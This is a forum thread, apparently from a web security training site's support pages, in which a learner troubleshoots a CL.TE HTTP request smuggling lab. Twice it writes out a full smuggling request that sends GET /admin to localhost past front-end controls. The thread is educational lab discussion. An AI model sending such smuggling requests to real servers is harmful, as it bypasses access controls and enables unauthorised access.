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HTTP request Smuggling CL.TE LAB

Giacomo | Last updated: Jan 14, 2023 03:05PM UTC

Hi, I'm trying to solve the lab "Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability". I tried using the following request : ---- POST / HTTP/1.1 Host: 0a120052048d10f0c0b07c7700c300bb.web-security-academy.net Content-Type: application/x-www-form-urlencoded Connection: closed Content-Length: 64 Transfer-Encoding: chunked 0 3c GET /admin HTTP/1.1 Host: localhost Connection: closed ---- Unfortunately I receive the error "Protocol error", could you please help me to understand why? I checked the lab solution, but honestly it is not clear to me the first HTTP request reported. It is not present the chunk length of the second chunk (smuggled one) Thanks in advance for the support.

Pablo | Last updated: Jan 15, 2023 07:39PM UTC

GET /admin HTTP/1.1

Giacomo | Last updated: Jan 16, 2023 08:16AM UTC

sorry but I didn't get it, I have the same line in the request I posted, but it is not working.

Michelle, PortSwigger Agent | Last updated: Jan 16, 2023 11:22AM UTC

Have you tried comparing the request you are sending with those suggested in the lab solution or the community videos and also check for smaller details such as where you are adding new lines?

Giacomo | Last updated: Jan 16, 2023 06:21PM UTC

I'm trying to compare the two requests (mine and the one reported in the lab solution). What I do not understand is the syntax of the request reported in the lab solution : POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 54 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost X-Ignore: X before "GET /admin HTTP/1.1" it is not present the bytes chunk length which if I understood correctly should be required as chunk syntax. Could you kindly help me to understand please ?

Ben, PortSwigger Agent | Last updated: Jan 18, 2023 10:44AM UTC